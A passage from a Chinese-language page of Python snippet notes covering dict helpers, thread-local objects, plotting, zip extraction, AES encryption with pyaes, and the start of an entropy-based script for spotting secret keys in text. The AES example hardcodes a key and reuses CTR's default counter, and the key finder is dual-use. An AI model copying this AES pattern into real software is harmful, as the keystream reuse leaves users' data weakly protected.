class=\"n\">runsql</span><span class=\"p\">(</span><span class=\"n\">sql</span><span class=\"p\">,</span> <span class=\"n\">userid</span><span class=\"p\">,</span> <span class=\"n\">username</span><span class=\"p\">,</span> <span class=\"n\">settingname</span><span class=\"p\">,</span> <span class=\"n\">settingvalue</span><span class=\"p\">)</span>\n        <span class=\"k\">return</span> <span class=\"kc\">True</span>\n    <span class=\"k\">except</span><span class=\"p\">:</span>\n        <span class=\"n\">traceback</span><span class=\"o\">.</span><span class=\"n\">print_exc</span><span class=\"p\">()</span>\n        <span class=\"k\">return</span> <span class=\"kc\">False</span>\n</code></pre></div>\n\n<h2 id=\"_1\">大小写不敏感字典<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">requests.structures</span> <span class=\"kn\">import</span> <span class=\"n\">CaseInsensitiveDict</span>\n<span class=\"n\">mydict</span> <span class=\"o\">=</span> <span class=\"n\">CaseInsensitiveDict</span><span class=\"p\">(</span><span class=\"n\">mydict</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"mpms\">mpms多线程下每个线程单独变量<a class=\"headerlink\" href=\"#mpms\" title=\"Permanent link\">&para;</a></h2>\n<p>自己写的类不是线程安全的，所以在多线程下要做到每个线程自己一个变量互不干扰</p>\n<p>mpms下使用EasyLogin完整示例代码模板， 先要使用我fork的版本 加上了len支持：</p>\n<div class=\"codehilite\"><pre><span></span><code>wget<span class=\"w\"> </span>https://d.py3.io/mpms.py\n</code></pre></div>\n\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">mpms</span> <span class=\"kn\">import</span> <span class=\"n\">MPMS</span>\n<span class=\"kn\">from</span> <span class=\"nn\">EasyLogin</span> <span class=\"kn\">import</span> <span class=\"n\">EasyLogin</span>\n<span class=\"kn\">import</span> <span class=\"nn\">threading</span>\n<span class=\"n\">thread_data</span> <span class=\"o\">=</span> <span class=\"n\">threading</span><span class=\"o\">.</span><span class=\"n\">local</span><span class=\"p\">()</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">time</span>\n<span class=\"n\">myprint</span> <span class=\"o\">=</span> <span class=\"k\">lambda</span> <span class=\"n\">s</span><span class=\"p\">:</span> <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;[</span><span class=\"si\">{showtime}</span><span class=\"s2\">] </span><span class=\"si\">{s}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"n\">showtime</span><span class=\"o\">=</span><span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">strftime</span><span class=\"p\">(</span><span class=\"s2\">&quot;%Y-%m-</span><span class=\"si\">%d</span><span class=\"s2\"> %H:%M:%S&quot;</span><span class=\"p\">),</span> <span class=\"n\">s</span><span class=\"o\">=</span><span class=\"n\">s</span><span class=\"p\">))</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">worker</span><span class=\"p\">(</span><span class=\"nb\">id</span><span class=\"p\">):</span>\n    <span class=\"k\">global</span> <span class=\"n\">thread_data</span>\n    <span class=\"n\">a</span> <span class=\"o\">=</span> <span class=\"n\">thread_data</span><span class=\"o\">.</span><span class=\"vm\">__dict__</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;a&quot;</span><span class=\"p\">)</span>\n    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">a</span><span class=\"p\">:</span>\n        <span class=\"n\">a</span> <span class=\"o\">=</span> <span class=\"n\">EasyLogin</span><span class=\"p\">()</span>\n        <span class=\"n\">thread_data</span><span class=\"o\">.</span><span class=\"vm\">__dict__</span><span class=\"p\">[</span><span class=\"s2\">&quot;a&quot;</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">a</span>\n    <span class=\"k\">pass</span> <span class=\"c1\"># do the stuff, like a.get</span>\n    <span class=\"k\">return</span> <span class=\"n\">result</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">handler</span><span class=\"p\">(</span><span class=\"n\">meta</span><span class=\"p\">,</span> <span class=\"n\">result</span><span class=\"p\">):</span>\n    <span class=\"c1\"># meta[&quot;fp&quot;].write ...</span>\n    <span class=\"k\">pass</span> <span class=\"c1\"># do the stuff</span>\n\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s2\">&quot;__main__&quot;</span><span class=\"p\">:</span>\n    <span class=\"n\">meta</span> <span class=\"o\">=</span> <span class=\"p\">{</span><span class=\"s2\">&quot;fp&quot;</span><span class=\"p\">:</span> <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"s2\">&quot;result.txt&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;w&quot;</span><span class=\"p\">,</span><span class=\"n\">encoding</span><span class=\"o\">=</span><span class=\"s2\">&quot;utf-8&quot;</span><span class=\"p\">)}</span>\n    <span class=\"n\">m</span> <span class=\"o\">=</span> <span class=\"n\">MPMS</span><span class=\"p\">(</span><span class=\"n\">worker</span><span class=\"p\">,</span> <span class=\"n\">handler</span><span class=\"p\">,</span> <span class=\"mi\">2</span><span class=\"p\">,</span> <span class=\"mi\">2</span><span class=\"p\">,</span> <span class=\"n\">meta</span><span class=\"o\">=</span><span class=\"n\">meta</span><span class=\"p\">)</span>\n    <span class=\"n\">m</span><span class=\"o\">.</span><span class=\"n\">start</span><span class=\"p\">()</span>\n    <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"o\">...</span><span class=\"p\">):</span>\n        <span class=\"n\">m</span><span class=\"o\">.</span><span class=\"n\">put</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">)</span>\n    <span class=\"k\">while</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">m</span><span class=\"p\">)</span><span class=\"o\">&gt;</span><span class=\"mi\">10</span><span class=\"p\">:</span>\n        <span class=\"n\">myprint</span><span class=\"p\">(</span><span class=\"s2\">&quot;Remaning &quot;</span><span class=\"o\">+</span><span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">m</span><span class=\"p\">)))</span>\n        <span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">sleep</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">)</span>\n    <span class=\"n\">m</span><span class=\"o\">.</span><span class=\"n\">join</span><span class=\"p\">()</span>\n    <span class=\"n\">myprint</span><span class=\"p\">(</span><span class=\"s2\">&quot;Done!&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"dict_add_list\">将值存入字典中的列表 dict_add_list<a class=\"headerlink\" href=\"#dict_add_list\" title=\"Permanent link\">&para;</a></h2>\n<p>判断key是否存在 应该有更好的方法？这个实现还是很naive的</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">dict_add_list</span><span class=\"p\">(</span><span class=\"n\">dictname</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">key</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">value</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"k\">key</span><span class=\"w\"> </span><span class=\"ow\">not</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"nl\">dictname</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">dictname</span><span class=\"o\">[</span><span class=\"n\">key</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"n\">value</span><span class=\"o\">]</span>\n<span class=\"w\">    </span><span class=\"k\">else</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">dictname</span><span class=\"o\">[</span><span class=\"n\">key</span><span class=\"o\">]</span><span class=\"p\">.</span><span class=\"n\">append</span><span class=\"p\">(</span><span class=\"k\">value</span><span class=\"p\">)</span>\n\n<span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">如果字典是存储count计数的话</span><span class=\"w\"> </span><span class=\"n\">用这个</span>\n<span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">dict_incr</span><span class=\"p\">(</span><span class=\"n\">dictname</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">key</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"k\">key</span><span class=\"w\"> </span><span class=\"ow\">not</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"nl\">dictname</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">dictname</span><span class=\"o\">[</span><span class=\"n\">key</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">1</span>\n<span class=\"w\">    </span><span class=\"k\">else</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">dictname</span><span class=\"o\">[</span><span class=\"n\">key</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"mi\">1</span>\n</code></pre></div>\n\n<h2 id=\"aes\">使用AES加密字符串<a class=\"headerlink\" href=\"#aes\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/ricmoo/pyaes</p>\n<p>首先 <code>pip install pyaes -t .</code> 注意每次加密的时候都需要重新初始化aes</p>\n<p>加密：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">plaintext</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;hello world&quot;</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">pyaes</span><span class=\"o\">,</span><span class=\"nn\">base64</span>\n<span class=\"n\">aes</span> <span class=\"o\">=</span> <span class=\"n\">pyaes</span><span class=\"o\">.</span><span class=\"n\">AESModeOfOperationCTR</span><span class=\"p\">(</span><span class=\"sa\">b</span><span class=\"s2\">&quot;This_key_for_demo_purposes_only!&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">encrypted_text</span> <span class=\"o\">=</span> <span class=\"n\">base64</span><span class=\"o\">.</span><span class=\"n\">b64encode</span><span class=\"p\">(</span><span class=\"n\">aes</span><span class=\"o\">.</span><span class=\"n\">encrypt</span><span class=\"p\">(</span><span class=\"n\">plaintext</span><span class=\"o\">.</span><span class=\"n\">encode</span><span class=\"p\">(</span><span class=\"s2\">&quot;utf-8&quot;</span><span class=\"p\">)))</span>\n\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">encrypted_text</span><span class=\"p\">)</span> <span class=\"c1\"># ipkEJevbnsfbEm4=</span>\n</code></pre></div>\n\n<p>解密：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">encrypted_text</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;ipkEJevbnsfbEm4=&quot;</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">pyaes</span><span class=\"o\">,</span> <span class=\"nn\">base64</span>\n<span class=\"n\">aes</span> <span class=\"o\">=</span> <span class=\"n\">pyaes</span><span class=\"o\">.</span><span class=\"n\">AESModeOfOperationCTR</span><span class=\"p\">(</span><span class=\"sa\">b</span><span class=\"s2\">&quot;This_key_for_demo_purposes_only!&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">plaintext</span> <span class=\"o\">=</span> <span class=\"n\">aes</span><span class=\"o\">.</span><span class=\"n\">decrypt</span><span class=\"p\">(</span><span class=\"n\">base64</span><span class=\"o\">.</span><span class=\"n\">b64decode</span><span class=\"p\">(</span><span class=\"n\">encrypted_text</span><span class=\"p\">))</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">()</span>\n\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">plaintext</span><span class=\"p\">)</span> <span class=\"c1\"># hello world</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"python-mn\">Python画图 上方颜色，然后M*N个小图<a class=\"headerlink\" href=\"#python-mn\" title=\"Permanent link\">&para;</a></h2>\n<p>TODO: 增加一张示意图</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">json</span>\n<span class=\"kn\">import</span> <span class=\"nn\">matplotlib.pyplot</span> <span class=\"k\">as</span> <span class=\"nn\">plt</span> \n<span class=\"kn\">import</span> <span class=\"nn\">seaborn</span> <span class=\"k\">as</span> <span class=\"nn\">sns</span>\n<span class=\"kn\">import</span> <span class=\"nn\">matplotlib.gridspec</span> <span class=\"k\">as</span> <span class=\"nn\">gridspec</span>\n<span class=\"kn\">import</span> <span class=\"nn\">gzip</span>\n<span class=\"kn\">import</span> <span class=\"nn\">pickle</span>\n<span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"kn\">import</span> <span class=\"nn\">shutil</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">plotmatrix</span><span class=\"p\">(</span><span class=\"n\">M</span><span class=\"p\">,</span> <span class=\"n\">N</span><span class=\"p\">,</span> <span class=\"n\">DATA</span><span class=\"p\">,</span> <span class=\"n\">labels</span><span class=\"p\">,</span> <span class=\"n\">colors</span><span class=\"p\">,</span> <span class=\"n\">xlabel</span><span class=\"p\">,</span> <span class=\"n\">ylabel</span><span class=\"p\">,</span> <span class=\"n\">fontsize</span><span class=\"p\">,</span> <span class=\"n\">sep</span><span class=\"p\">):</span>\n<span class=\"w\">    </span><span class=\"sd\">&quot;&quot;&quot;</span>\n<span class=\"sd\">    M: how many rows, like 4</span>\n<span class=\"sd\">    N: how many cols, like 5</span>\n<span class=\"sd\">    DATA: [{</span>\n<span class=\"sd\">        &quot;name&quot;: &quot;figure title&quot;, </span>\n<span class=\"sd\">        &quot;lines&quot;:[ </span>\n<span class=\"sd\">            [[...], [...]],</span>\n<span class=\"sd\">        ]</span>\n<span class=\"sd\">    }]</span>\n<span class=\"sd\">    labels: the label of lines, like [fuzzerA, fuzzerB]</span>\n<span class=\"sd\">    colors: color of lines, like [red, blue]</span>\n<span class=\"sd\">    xlabel: like &quot;#Time (days)&quot;</span>\n<span class=\"sd\">    fontsize: 13</span>\n<span class=\"sd\">    sep: (wspace, hspace) like (0.5, 0.5)</span>\n<span class=\"sd\">    &quot;&quot;&quot;</span>\n    <span class=\"k\">assert</span> <span class=\"n\">M</span><span class=\"o\">*</span><span class=\"n\">N</span> <span class=\"o\">&gt;=</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">DATA</span><span class=\"p\">)</span>\n    <span class=\"n\">fig</span> <span class=\"o\">=</span> <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">figure</span><span class=\"p\">(</span><span class=\"n\">figsize</span><span class=\"o\">=</span><span class=\"p\">(</span><span class=\"n\">M</span><span class=\"o\">*</span><span class=\"mi\">5</span><span class=\"p\">,</span><span class=\"n\">N</span><span class=\"o\">*</span><span class=\"mf\">1.2</span><span class=\"p\">))</span>\n    <span class=\"n\">outer</span> <span class=\"o\">=</span> <span class=\"n\">gridspec</span><span class=\"o\">.</span><span class=\"n\">GridSpec</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">,</span> <span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"n\">wspace</span><span class=\"o\">=</span><span class=\"mf\">0.2</span><span class=\"p\">,</span> <span class=\"n\">hspace</span><span class=\"o\">=</span><span class=\"mf\">0.4</span><span class=\"p\">,</span> <span class=\"n\">height_ratios</span><span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"mi\">10</span><span class=\"p\">])</span>\n    <span class=\"n\">inner</span> <span class=\"o\">=</span> <span class=\"n\">gridspec</span><span class=\"o\">.</span><span class=\"n\">GridSpecFromSubplotSpec</span><span class=\"p\">(</span><span class=\"n\">M</span><span class=\"p\">,</span><span class=\"n\">N</span><span class=\"p\">,</span><span class=\"n\">subplot_spec</span><span class=\"o\">=</span><span class=\"n\">outer</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">],</span> <span class=\"n\">wspace</span><span class=\"o\">=</span><span class=\"n\">sep</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">],</span> <span class=\"n\">hspace</span><span class=\"o\">=</span><span class=\"n\">sep</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">])</span>\n\n    <span class=\"n\">index</span> <span class=\"o\">=</span> <span class=\"o\">-</span><span class=\"mi\">1</span>\n    <span class=\"k\">for</span> <span class=\"n\">data</span> <span class=\"ow\">in</span> <span class=\"n\">DATA</span><span class=\"p\">:</span>\n        <span class=\"n\">index</span> <span class=\"o\">+=</span> <span class=\"mi\">1</span>\n        <span class=\"n\">ax</span> <span class=\"o\">=</span> <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">Subplot</span><span class=\"p\">(</span><span class=\"n\">fig</span><span class=\"p\">,</span> <span class=\"n\">inner</span><span class=\"p\">[</span><span class=\"n\">index</span><span class=\"p\">])</span>\n        <span class=\"n\">fig</span><span class=\"o\">.</span><span class=\"n\">add_subplot</span><span class=\"p\">(</span><span class=\"n\">ax</span><span class=\"p\">)</span>\n        <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">title</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">[</span><span class=\"s2\">&quot;name&quot;</span><span class=\"p\">])</span>\n        <span class=\"k\">for</span> <span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">line</span> <span class=\"ow\">in</span> <span class=\"nb\">enumerate</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">[</span><span class=\"s2\">&quot;lines&quot;</span><span class=\"p\">]):</span>\n            <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">plot</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">line</span><span class=\"p\">,</span> <span class=\"n\">label</span><span class=\"o\">=</span><span class=\"n\">labels</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">],</span> <span class=\"n\">color</span><span class=\"o\">=</span><span class=\"n\">colors</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">])</span>\n            <span class=\"n\">ax</span> <span class=\"o\">=</span> <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">gca</span><span class=\"p\">()</span>\n            <span class=\"n\">ax</span><span class=\"o\">.</span><span class=\"n\">title</span><span class=\"o\">.</span><span class=\"n\">set_fontsize</span><span class=\"p\">(</span><span class=\"n\">fontsize</span><span class=\"p\">)</span>\n            <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">xlabel</span><span class=\"p\">(</span><span class=\"n\">xlabel</span><span class=\"p\">,</span> <span class=\"n\">fontsize</span><span class=\"o\">=</span><span class=\"n\">fontsize</span><span class=\"o\">-</span><span class=\"mi\">2</span><span class=\"p\">)</span>\n            <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">ylabel</span><span class=\"p\">(</span><span class=\"n\">ylabel</span><span class=\"p\">,</span> <span class=\"n\">fontsize</span><span class=\"o\">=</span><span class=\"n\">fontsize</span><span class=\"o\">-</span><span class=\"mi\">2</span><span class=\"p\">)</span>\n    <span class=\"n\">ax</span><span class=\"o\">=</span><span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">Subplot</span><span class=\"p\">(</span><span class=\"n\">fig</span><span class=\"p\">,</span> <span class=\"n\">outer</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">])</span>\n    <span class=\"n\">ax</span><span class=\"o\">.</span><span class=\"n\">set_ylabel</span><span class=\"p\">(</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">)</span>\n    <span class=\"n\">ax</span><span class=\"o\">.</span><span class=\"n\">set_xlabel</span><span class=\"p\">(</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">)</span>\n    <span class=\"n\">fig</span><span class=\"o\">.</span><span class=\"n\">add_subplot</span><span class=\"p\">(</span><span class=\"n\">ax</span><span class=\"p\">)</span>\n    <span class=\"n\">ax</span> <span class=\"o\">=</span> <span class=\"n\">sns</span><span class=\"o\">.</span><span class=\"n\">boxplot</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"o\">*</span><span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">labels</span><span class=\"p\">),</span> <span class=\"n\">y</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"o\">*</span><span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">labels</span><span class=\"p\">),</span> <span class=\"n\">sym</span><span class=\"o\">=</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">,</span> <span class=\"n\">hue</span><span class=\"o\">=</span><span class=\"n\">labels</span><span class=\"p\">,</span> <span class=\"n\">linewidth</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"p\">,</span> <span class=\"n\">palette</span><span class=\"o\">=</span><span class=\"n\">colors</span><span class=\"p\">,</span> <span class=\"n\">ax</span><span class=\"o\">=</span><span class=\"n\">ax</span><span class=\"p\">,</span> <span class=\"n\">boxprops</span><span class=\"o\">=</span><span class=\"p\">{</span><span class=\"s2\">&quot;linestyle&quot;</span><span class=\"p\">:</span><span class=\"s2\">&quot;None&quot;</span><span class=\"p\">})</span>\n    <span class=\"n\">ax</span><span class=\"o\">.</span><span class=\"n\">spines</span><span class=\"p\">[</span><span class=\"s1\">&#39;right&#39;</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">set_visible</span><span class=\"p\">(</span><span class=\"kc\">False</span><span class=\"p\">)</span>\n    <span class=\"n\">ax</span><span class=\"o\">.</span><span class=\"n\">spines</span><span class=\"p\">[</span><span class=\"s1\">&#39;top&#39;</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">set_visible</span><span class=\"p\">(</span><span class=\"kc\">False</span><span class=\"p\">)</span>\n    <span class=\"n\">ax</span><span class=\"o\">.</span><span class=\"n\">spines</span><span class=\"p\">[</span><span class=\"s1\">&#39;left&#39;</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">set_visible</span><span class=\"p\">(</span><span class=\"kc\">False</span><span class=\"p\">)</span>\n    <span class=\"n\">ax</span><span class=\"o\">.</span><span class=\"n\">spines</span><span class=\"p\">[</span><span class=\"s1\">&#39;bottom&#39;</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">set_visible</span><span class=\"p\">(</span><span class=\"kc\">False</span><span class=\"p\">)</span>\n    <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">xticks</span><span class=\"p\">([])</span>\n    <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">yticks</span><span class=\"p\">([])</span>\n    <span class=\"n\">handles</span><span class=\"p\">,</span> <span class=\"n\">labels</span> <span class=\"o\">=</span> <span class=\"n\">ax</span><span class=\"o\">.</span><span class=\"n\">get_legend_handles_labels</span><span class=\"p\">()</span>\n    <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">legend</span><span class=\"p\">(</span><span class=\"n\">handles</span><span class=\"p\">,</span> <span class=\"n\">labels</span><span class=\"p\">,</span> <span class=\"n\">loc</span><span class=\"o\">=</span><span class=\"s1\">&#39;center&#39;</span><span class=\"p\">,</span> <span class=\"n\">ncol</span><span class=\"o\">=</span><span class=\"mi\">8</span><span class=\"p\">,</span> <span class=\"n\">fontsize</span><span class=\"o\">=</span><span class=\"n\">fontsize</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">)</span>\n    <span class=\"n\">plt</span><span class=\"o\">.</span><span class=\"n\">show</span><span class=\"p\">()</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"zipc\">从一系列zip文件中提取C代码<a class=\"headerlink\" href=\"#zipc\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">zipfile</span> <span class=\"kn\">import</span> <span class=\"n\">ZipFile</span>\n<span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">listdir</span><span class=\"p\">():</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">)</span>\n    <span class=\"n\">z</span> <span class=\"o\">=</span> <span class=\"n\">ZipFile</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">)</span>\n    <span class=\"n\">files</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">filename</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">z</span><span class=\"o\">.</span><span class=\"n\">filelist</span> <span class=\"k\">if</span> <span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">filename</span><span class=\"o\">.</span><span class=\"n\">lower</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">endswith</span><span class=\"p\">(</span><span class=\"s2\">&quot;.c&quot;</span><span class=\"p\">)</span> <span class=\"ow\">or</span> <span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">filename</span><span class=\"o\">.</span><span class=\"n\">lower</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">endswith</span><span class=\"p\">(</span><span class=\"s2\">&quot;.cpp&quot;</span><span class=\"p\">)]</span>\n    <span class=\"n\">files</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"n\">i</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">files</span> <span class=\"k\">if</span> <span class=\"s2\">&quot;StdAfx&quot;</span> <span class=\"ow\">not</span> <span class=\"ow\">in</span> <span class=\"n\">i</span><span class=\"p\">]</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">files</span><span class=\"p\">)</span>\n    <span class=\"n\">contents</span> <span class=\"o\">=</span> <span class=\"sa\">b</span><span class=\"s2\">&quot;&quot;</span>\n    <span class=\"k\">for</span> <span class=\"n\">f</span> <span class=\"ow\">in</span> <span class=\"n\">files</span><span class=\"p\">:</span>\n        <span class=\"n\">c</span> <span class=\"o\">=</span> <span class=\"n\">z</span><span class=\"o\">.</span><span class=\"n\">open</span><span class=\"p\">(</span><span class=\"n\">f</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">read</span><span class=\"p\">()</span>\n        <span class=\"k\">if</span> <span class=\"n\">c</span> <span class=\"ow\">in</span> <span class=\"n\">contents</span><span class=\"p\">:</span>\n            <span class=\"k\">continue</span>\n        <span class=\"n\">contents</span> <span class=\"o\">+=</span> <span class=\"n\">c</span>\n    <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"s2\">&quot;../output/&quot;</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;.&quot;</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"o\">+</span><span class=\"s2\">&quot;.asm&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;wb&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">(</span><span class=\"n\">contents</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_2\">在一批文本中查找可能的密钥<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>密钥字符串一般为随机字符串，而非英文单词，根据这一特征，我们可以使用去除常见英文单词后的信息熵这一特征来找出可能的密钥字符串</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">re</span>\n<span class=\"kn\">from</span> <span class=\"nn\">password_strength</span> <span class=\"kn\">import</span> <span class=\"n\">PasswordStats</span>\n<span class=\"n\">commonwords</span> <span class=\"o\">=</span> <span class=\"nb\">set</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">strip</span><span class=\"p\">()</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"s2\">&quot;google-10000-english.txt&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">readlines</span><span class=\"p\">())</span>\n<span class=\"k\">def</span> <span class=\"nf\">text_entropy</span><span class=\"p\">(</span><span class=\"n\">text</span><span class=\"p\">):</span>\n    <span class=\"k\">for</span> <span class=\"n\">word</span> <span class=\"ow\">in</span> <span class=\"n\">re</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s1\">&#39;[^a-zA-Z]&#39;</span><span class=\"p\">,</span> <span class=\"n\">text</span><span class=\"p\">):</span>\n        <span class=\"k\">if</span> <span class=\"n\">word</span> <span class=\"ow\">in</span> <span class=\"n\">commonwords</span><span class=\"p\">:</span>\n            <span class=\"n\">text</span> <span class=\"o\">=</span> <span class=\"n\">text</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"n\">word</span><span class=\"p\">,</span> <span class=\"s2\">&quot;&quot;</span><span class=\"p\">)</span>\n    <span 